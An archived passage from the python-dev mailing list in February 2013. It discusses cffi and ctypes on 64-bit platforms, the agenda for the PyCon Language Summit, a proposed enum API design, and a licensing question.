References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
	<CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>
	<CAMSv6X1mKg+krOjBYC4Tv3QVoXxpezcmih5TpeX3TNUVKXmTAg@mail.gmail.com>
Message-ID: <CACac1F-_81DidY2ZaC7ax_mav2r0aRagr=z1oN78CSdSxX=GnQ@mail.gmail.com>

On 28 February 2013 09:06, Armin Rigo <arigo at tunes.org> wrote:
> And I think
> that even on 64-bit Windows, passing 0 as a NULL pointer is buggy,
> because it will pass a 32-bit 0.  (It may be that it doesn't actually
> make a difference and works anyway, but I'm not sure.)  Similarly, a
> function that returns a pointer (e.g. a handle on Windows) will not
> work without an explicit restype on any 64-bit platform I know of.
> "Explicit is better than implicit"...

Ha, interesting. My test case was run on 64-bit Windows with 64-bit
Python, and worked fine. But you're right, explicit is better, and I
may have been luckier than I realised. And anyway my original point
about whether cffi was as concise as ctypes for simple ABI-level
Windows calls has been answered - yes it is, at least the next version
will be.

Thanks,
Paul.

From ncoghlan at gmail.com  Thu Feb 28 10:15:07 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 28 Feb 2013 19:15:07 +1000
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130227223749.2f06a328@anarchist.wooz.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
	<20130227223749.2f06a328@anarchist.wooz.org>
Message-ID: <CADiSq7f7APRJJ+Wjgq66BC2rSmyhHLn3+tdEEPbOv53znxqeBQ@mail.gmail.com>

On Thu, Feb 28, 2013 at 1:37 PM, Barry Warsaw <barry at python.org> wrote:
> On Feb 27, 2013, at 11:33 AM, fwierzbicki at gmail.com wrote:
>>The easy part for Jython is pushing some of our "if is_jython:" stuff
>>into the appropriate spots in CPython's Lib/.
>
> I wonder if there isn't a better way to do this than sprinkling is_jython,
> is_pypy, is_ironpython, is_thenextbigthing all over the code base.  I have no
> bright ideas here, but it seems like a feature matrix would be a better way to
> go than something that assumes a particular Python implementation has a
> particular feature set (which may change in the future).

Yes, avoiding that kind of thing is a key motivation for
sys.implementation. Any proposal for "is_jython" blocks should instead
be reformulated as a proposal for new sys.implementation attributes.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Thu Feb 28 10:22:43 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 10:22:43 +0100
Subject: [Python-Dev] cffi in stdlib
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<20130226202153.2b923404@pitrou.net>
	<512D41F9.3050109@canterbury.ac.nz>
	<20130227143141.4aef5635@pitrou.net>
	<512E815E.703@canterbury.ac.nz>
Message-ID: <20130228102243.7ab4014d@pitrou.net>

Le Thu, 28 Feb 2013 10:57:50 +1300,
Greg Ewing <greg.ewing at canterbury.ac.nz> a ?crit :
> Antoine Pitrou wrote:
> > We have to find sufficiently silly species of snakes, though.
> 
> Glancing through http://en.wikipedia.org/wiki/List_of_snakes,
> we have:
> 
> Wart snakes
> Java wart snakes
> Pipe snakes
> Stiletto snakes
> Rubber boas
> Dog-faced water snakes
> Shovel-nosed snakes

I'm looking forward to our shovel-nosed release plugging the XML
security holes, then.

Regards

Antoine.



From solipsis at pitrou.net  Thu Feb 28 10:24:35 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 10:24:35 +0100
Subject: [Python-Dev] cffi in stdlib
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
	<CACac1F8fPc6sm4M6tHPDKnzpm2R92omGjufkPSS0if+EqoTWQQ@mail.gmail.com>
	<CAMSv6X1mKg+krOjBYC4Tv3QVoXxpezcmih5TpeX3TNUVKXmTAg@mail.gmail.com>
Message-ID: <20130228102435.32938bda@pitrou.net>

Le Thu, 28 Feb 2013 10:06:00 +0100,
Armin Rigo <arigo at tunes.org> a ?crit :
> 
> Yes, you're right, and the 32-bit Windows platform is still important.
>  However, it only works on 32-bit.  On typical 64-bit Posix
> environments, if you don't declare argtypes/restype, you usually end
> up very quickly with confusion between "int" and "long".  And I think
> that even on 64-bit Windows, passing 0 as a NULL pointer is buggy,
> because it will pass a 32-bit 0.  (It may be that it doesn't actually
> make a difference and works anyway, but I'm not sure.)  Similarly, a
> function that returns a pointer (e.g. a handle on Windows) will not
> work without an explicit restype on any 64-bit platform I know of.

Indeed, argument width is quite important :-) Also, on 64-bit Windows,
long is 32-bit while size_t and pointers are 64-bit.

Regards

Antoine.



From solipsis at pitrou.net  Thu Feb 28 10:30:37 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 10:30:37 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
Message-ID: <20130228103037.1b60878b@pitrou.net>

Le Wed, 27 Feb 2013 11:33:30 -0800,
"fwierzbicki at gmail.com" <fwierzbicki at gmail.com> a ?crit :
> 
> There are a couple of spots that might be more controversial. For
> example, Jython has a file Lib/zlib.py that implements zlib in terms
> of the existing Java support for zlib. I do wonder if such a file is
> acceptable in CPython's Lib since its 195 lines of code would be
> entirely skipped by CPython.

That's a bit annoying. How will we know that the code still works, even
though our buildbots don't exercise it?
Also, what happens if the code doesn't work anymore?

Regards

Antoine.



From nyamatongwe at me.com  Thu Feb 28 09:50:39 2013
From: nyamatongwe at me.com (Neil Hodgson)
Date: Thu, 28 Feb 2013 19:50:39 +1100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAMSv6X1MX+CJ195GWMcOO9at1hGM9_0YUApqFJrCr_NyugvfjA@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
	<CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>
	<CACac1F8Zgjx5KpySd4k2Trb7kT2_aqyzpE0qWPr1MbGs6+kL3g@mail.gmail.com>
	<CAMSv6X0D9FGdtgyOMq-DY6VxvXi-xG_uL2m3atD7T74FK6mEPA@mail.gmail.com>
	<A972386D-E663-4CA0-9C6D-433E74259D24@me.com>
	<CAMSv6X1MX+CJ195GWMcOO9at1hGM9_0YUApqFJrCr_NyugvfjA@mail.gmail.com>
Message-ID: <856B71AE-6855-4F4A-A3A9-DFCF1B9A8677@me.com>

Armin Rigo:

> Maybe.  Feel like adding an issue to
> https://bitbucket.org/cffi/cffi/issues, with references?

   OK, issue #62 added.

>  This looks
> like a Windows-specific extension, which means that I don't
> automatically know about it.

   While SAL is Windows-specific, gcc supports some similar attributes including nonnull and sentinel.

   Neil


From ericsnowcurrently at gmail.com  Thu Feb 28 10:56:07 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Thu, 28 Feb 2013 02:56:07 -0700
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <9B1795C95533CA46A83BA1EAD4B01030DFE09F@flonidanmail.flonidan.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
	<20130226201757.535abe3e@pitrou.net>
	<87ip5e2zxs.fsf@uwakimon.sk.tsukuba.ac.jp>
	<20130227143001.3cfce13a@pitrou.net>
	<CAFT4OTHvb0P2BdxgMdjK-h8pUOHxr=6ZTcWS4HF0K4q1a-EM3A@mail.gmail.com>
	<9B1795C95533CA46A83BA1EAD4B01030DFE09F@flonidanmail.flonidan.net>
Message-ID: <CALFfu7Cpj5dwBK=bUmjP7_aX88CWLRAn4S8a5+eShb0eveQuWg@mail.gmail.com>

Having had some time to think about this problem space, here's my take on it:

===============================

The problem-space can be broken down into four layers:

1. the items
2. interaction between grouped items
3. the grouping itself
4. conversion from a class to a group

Here are *potential* characteristics at each layer:

items
-----

* immutable
* unique
* proxies or otherwise implicitly exposes underlying value
* or only explicitly exposes value
* or *is* the value with extra attributes added on
* int-like
* immutable underlying values
* hashable
* repr shows group name, item name, and underlying value
* str shows just item name
* value-less
* a class that subclasses the group

items and item interaction
--------------------------

* equality comparible
* richly comparable
* comparison by identity only
* interaction restricted to within group
* flag-like (bitwise operations, etc.)

groups
------

* iterable
* sized
* ordered (sortable)
* inheritance to extend the group
* a class rather than an instance of an enum type
* query: name -> value
* immutable
* immutable underlying collection of items
* allow aliases for actual items
* group itself is named
* has __qualname__
* repr shows items
* no duplicates
* a sequence without semantically meaningful values
* unserialize (value -> item) using call syntax on group

conversion
----------

* inherit a base enum type
* use a class decorator
* use a factory function, perhaps not even on a class (for more dynamic
  enum creation)
* __getitem__() trick for defining value-less items
* auto-numbering
* explicit values
* implicit values using ...
* filter out "private" names
* use only upper-case names

There is a danger in trying to make an "enum" that is capable of doing
everything.  People need a simple common ground.  When an object is an
enum, a developer should be able to know immediately how to interact
with it and that interaction should have a small cross-section.

===============================

With that in mind and considering a lot of the discussion that has
gone on, here's an API that tries to find a middle ground:

"items"

NamedValue  #Nick's recipe
NamedItem  #an opaque named wrapper around a value
    group  # the "enum" to which the item belongs
    value  # the wrapped value
    __qualname__  # group qualname + item name
    __repr__ -> class + qualname + value
    __str__ -> item name
    __eq__ -> NotImplemented
    expose(ns)  # export the value out to any namespace
OrderedItem(NamedItem)  # a totally ordered item
    __eq__ -> other is self
    __lt__ -> ask self.group to decide
FlagItem(NamedItem)  # a bitwise/set operation compatible item
    __and__  -> ask self.group to do it
    ...
FlagsItem(FlagItem)  # the result of FlagItem bitwise operations
    __repr__ -> shows the the items or'ed together
    items  # the items that were joined together by the operation
IntItem(NamedItem)  # for those that really need a named item to be a
little less opaque
    __int__
    __index__
    __bool__

" groups"

Group
    __name__
    __qualname__
    __items__  # the underlying collection of items (tuple or frozenset)
    _ns  # a GroupValues instance for the group
    __repr__ -> group name + items
    __call__(value) -> item  # essentially the unserializer for an item
    _expose(ns)  # calls expose() on each item in the group
OrderedGroup  # corresponds to OrderedItem
FlagGroup  # corresponds to FlagItem
GroupValues  # a Mapping proxy around a group's (name -> value)

"conversion"

named_values_from_class()  -> {name: value}  # simply extract the
values from the class
auto_int_from_class()  # a classic enum
auto_bin_from_class()  # similar but steps in powers of 2
as_enum(*, ordered=False, flagged=False, converter=..., strict=True,
**kwargs)  # the main class decorator factory

Examples:

@as_enum()
class Spam:
    A = ...
    B = ...
    C = ...

Spam.A._expose(globals())

@as_enum(converter=auto_bin_from_class, flagged=True)
class Ham:
    A = 1
    B = ...
    C = ...
    D = 32

Ham.A == 1  # False
Ham.B | Ham.C  # a FlagsItem containing the two
iter(Ham)  # TypeError
iter(Ham.__items__)  # the items
iter(Ham._ns)  # the names
iter(Ham._ns.values())  # the values

Key points:

* uses a class decorator rather than inheritance to convert a class into an enum
* the objects make use of __qualname__ as much as is reasonable
* the various Item classes are meant to be compatible (e.g. multiple
inheritance)
* groups and items are immutable
* if order matters, using a class decorator requires that classes use
OrderedDict by default for their namespace,
this is a feasible change once we have an OrderedDict written in C
(issue #16991)
* value-less NamedItems are totally valid and the use of ... in
converters would support their creation
* the Group API is very simple (what you are using over and over)
* the definition/conversion API is a little thicker with the basic
case simplified
* NamedItems are simply opaque wrappers (with the mild exception of IntItem)
* Nick's NamedValue is utterly transparent and yet compatible with use
in a Group

In the interest of having something more concrete, a very raw and
still relatively non-functional implementation of the above API can be
found at:

https://bitbucket.org/ericsnowcurrently/odds_and_ends/src/default/enum.py

Finally, like I said before, the smaller the API the better.
Obviously what I've got here could be distilled.  However, it does
capture the way I see the separate layers here.

-eric

From steve at pearwood.info  Thu Feb 28 12:08:55 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Thu, 28 Feb 2013 22:08:55 +1100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
Message-ID: <512F3AC7.1070906@pearwood.info>

On 28/02/13 07:20, anatoly techtonik wrote:

>    * as an exercise - try to build a scroller for a running Python script
>      * it is impossible for Python 2 and probably for Python 3 as well

What do you mean by "a scroller"?


[...]
>     and why PSF doesn't comply the 4. Redistribution clause from Apache 2.0
> license

If you are correct, that may be a real issue that needs to be resolved. If this issue has been discussed before, can you point me to a previous discussion please?


-- 
Steven

From jnoller at gmail.com  Thu Feb 28 12:21:59 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 06:21:59 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
Message-ID: <B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>



On Feb 27, 2013, at 3:20 PM, anatoly techtonik <techtonik at gmail.com> wrote:

> 
> * security by obscurity in legal position of PSF towards contributors
>   https://code.google.com/legal/individual-cla-v1.0.html
>    vs
>   http://www.python.org/psf/contrib/contrib-form/ + http://www.samurajdata.se/opensource/mirror/licenses/afl-2.1.php
>       or 
>   http://www.python.org/psf/contrib/contrib-form/ + http://opensource.org/licenses/apache2.0.php
>    and why PSF doesn't comply the 4. Redistribution clause from Apache 2.0 license
> 

I'm not even touching your security through obscurity trollbait, but I'd like to know how the PSF / Python core is non compliant with clause 4, and the legal counsel you spoke to to confirm this.

Jesse
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130228/6ac36c70/attachment.html>

From fuzzyman at voidspace.org.uk  Thu Feb 28 12:34:18 2013
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Thu, 28 Feb 2013 11:34:18 +0000
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <kgn1dd$88j$1@ger.gmane.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<kgn1dd$88j$1@ger.gmane.org>
Message-ID: <F0ECF91B-5E2A-4114-9423-A7A50A7FA0F1@voidspace.org.uk>


On 28 Feb 2013, at 07:36, Georg Brandl <g.brandl at gmx.net> wrote:

> Am 27.02.2013 17:51, schrieb Michael Foord:
>> Hello all,
>> 
>> PyCon, and the Python Language Summit, is nearly upon us. We have a good number of people confirmed to attend. If you are intending to come to the language summit but haven't let me know please do so.
>> 
>> The agenda of topics for discussion so far includes the following:
>> 
>> * A report on pypy status - Maciej and Armin
>> * Jython and IronPython status reports - Dino / Frank 
>> * Packaging (Doug Hellmann and Monty Taylor at least)
>> * Cleaning up interpreter initialisation (both in hopes of finding areas
>>  to rationalise and hence speed things up, as well as making things
>>  more embedding friendly). Nick Coghlan
>> * Adding new async capabilities to the standard library (Guido)
>> * cffi and the standard library - Maciej
>> * flufl.enum and the standard library - Barry Warsaw
>> * The argument clinic - Larry Hastings
>> 
>> If you have other items you'd like to discuss please let me know and I can add them to the agenda.
> 
> May I in absentia propose at least a short discussion of the XML fixes
> and accompanying security releases?  FWIW, for 3.2 and 3.3 I have no
> objections to secure-by-default.
> 

Sure. It would be good if someone who *will* be there can champion the discussion.

Michael

> Georg
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk


--
http://www.voidspace.org.uk/


May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing 
http://www.sqlite.org/different.html






From fijall at gmail.com  Thu Feb 28 12:36:10 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Thu, 28 Feb 2013 13:36:10 +0200
Subject: [Python-Dev] High volumes and off topic discussions
Message-ID: <CAK5idxQcV=xFefGhoGFBzQoo6YxQTD9TdGmiN6qcp8MrGcWUyA@mail.gmail.com>

Hi

I know this is a hard topic, but python-dev is already incredibly
high-volume and dragging discussion off-topic is making following
important stuff (while ignoring unimportant stuff) very hard.

For example in a recent topic "cffi in stdlib" I find a mail that says
"we have to find a sufficiently silly species of snake". It's even
funny, but it definitely makes it very hard to follow for those of us
who don't read python-dev 24/7. Would it be reasonable for python-dev
to generally try to stay on topic (for example if the thread is called
"silly species of snakes", I absolutely don't mind people posting
there whatever they feel like as long as I'm not expected to read
every single message).

Cheers,
fijal

From michael at voidspace.org.uk  Thu Feb 28 12:39:52 2013
From: michael at voidspace.org.uk (Michael Foord)
Date: Thu, 28 Feb 2013 11:39:52 +0000
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130227195021.0101c919@pitrou.net>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<20130227195021.0101c919@pitrou.net>
Message-ID: <855C0532-804F-48BB-BE16-2604D2DF0AE4@voidspace.org.uk>


On 27 Feb 2013, at 18:50, Antoine Pitrou <solipsis at pitrou.net> wrote:

> On Wed, 27 Feb 2013 16:51:16 +0000
> Michael Foord <michael at voidspace.org.uk> wrote:
> 
>> Hello all,
>> 
>> PyCon, and the Python Language Summit, is nearly upon us. We have a good number of people confirmed to attend. If you are intending to come to the language summit but haven't let me know please do so.
>> 
>> The agenda of topics for discussion so far includes the following:
>> 
>> * A report on pypy status - Maciej and Armin
>> * Jython and IronPython status reports - Dino / Frank 
>> * Packaging (Doug Hellmann and Monty Taylor at least)
>> * Cleaning up interpreter initialisation (both in hopes of finding areas
>>  to rationalise and hence speed things up, as well as making things
>>  more embedding friendly). Nick Coghlan
>> * Adding new async capabilities to the standard library (Guido)
>> * cffi and the standard library - Maciej
>> * flufl.enum and the standard library - Barry Warsaw
>> * The argument clinic - Larry Hastings
>> 
>> If you have other items you'd like to discuss please let me know and I can add them to the agenda.
> 
> Perhaps someone wants to discuss
> http://www.python.org/dev/peps/pep-0428/, but I won't be there and the
> PEP isn't terribly up-to-date either :-)

If you can find someone familiar with pathlib to champion the discussion it is more likely to happen and be productive... Getting the PEP up to date before the summit will also help. (I very much like the *idea* of pathlib and the bits I've seen / read through - but I haven't used it in anger yet so I don't feel qualified to champion it myself.)

Michael

> 
> Regards
> 
> Antoine.
> 
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk


--
http://www.voidspace.org.uk/


May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing 
http://www.sqlite.org/different.html






From michael at voidspace.org.uk  Thu Feb 28 12:41:00 2013
From: michael at voidspace.org.uk (Michael Foord)
Date: Thu, 28 Feb 2013 11:41:00 +0000
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
Message-ID: <2CCC55D8-DF82-4665-BA6C-2888E080B651@voidspace.org.uk>


On 27 Feb 2013, at 19:01, fwierzbicki at gmail.com wrote:

> On Wed, Feb 27, 2013 at 8:51 AM, Michael Foord <michael at voidspace.org.uk> wrote:
>> If you have other items you'd like to discuss please let me know and I can add them to the agenda.
> 
> I'd like to discuss merging Jython's standard Lib (the *.py files). We
> have in the past had agreement that this would be a good idea - I just
> want to bring it up since I think this is probably the year that I'm
> actually going to do it.

Added to the agenda.

Michael

> 
> -Frank
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk


--
http://www.voidspace.org.uk/


May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing 
http://www.sqlite.org/different.html






From stefan at bytereef.org  Thu Feb 28 12:42:59 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Thu, 28 Feb 2013 12:42:59 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
Message-ID: <20130228114258.GA2732@sleipnir.bytereef.org>

Jesse Noller <jnoller at gmail.com> wrote:
>       http://www.python.org/psf/contrib/contrib-form/ + http://opensource.org/
>     licenses/apache2.0.php
>        and why PSF doesn't comply the 4. Redistribution clause from Apache 2.0
>     license
> 
> 
> 
> I'm not even touching your security through obscurity trollbait, but I'd like
> to know how the PSF / Python core is non compliant with clause 4, and the legal
> counsel you spoke to to confirm this.

Perhaps it's an idea to have a python-legal mailing list for these topics?

I don't think it's fundamentally wrong to scrutinize licenses, provided
that the discussion stays civil and factual.

IIRC Debian has such a list because people got annoyed with the traffic
on other lists.


Stefan Krah




From fuzzyman at voidspace.org.uk  Thu Feb 28 12:43:08 2013
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Thu, 28 Feb 2013 11:43:08 +0000
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130227224210.288a334d@anarchist.wooz.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<20130227224210.288a334d@anarchist.wooz.org>
Message-ID: <5A22F57A-5670-4D76-B3A5-26DDE0A163B9@voidspace.org.uk>


On 28 Feb 2013, at 03:42, Barry Warsaw <barry at python.org> wrote:

> On Feb 27, 2013, at 04:51 PM, Michael Foord wrote:
> 
>> If you have other items you'd like to discuss please let me know and I can
>> add them to the agenda.
> 
> I'd like to have some discussions around promotion of Python 3, how we can
> accelerate its adoption, availability of supporting packages, what critical
> projects are still missing, etc.
> 

Added to the agenda.

Michael


> -Barry
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk


--
http://www.voidspace.org.uk/


May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing 
http://www.sqlite.org/different.html






From jnoller at gmail.com  Thu Feb 28 12:48:24 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 06:48:24 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228114258.GA2732@sleipnir.bytereef.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
Message-ID: <08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>



On Feb 28, 2013, at 6:42 AM, Stefan Krah <stefan at bytereef.org> wrote:

> Jesse Noller <jnoller at gmail.com> wrote:
>>      http://www.python.org/psf/contrib/contrib-form/ + http://opensource.org/
>>    licenses/apache2.0.php
>>       and why PSF doesn't comply the 4. Redistribution clause from Apache 2.0
>>    license
>> 
>> 
>> 
>> I'm not even touching your security through obscurity trollbait, but I'd like
>> to know how the PSF / Python core is non compliant with clause 4, and the legal
>> counsel you spoke to to confirm this.
> 
> Perhaps it's an idea to have a python-legal mailing list for these topics?
> 
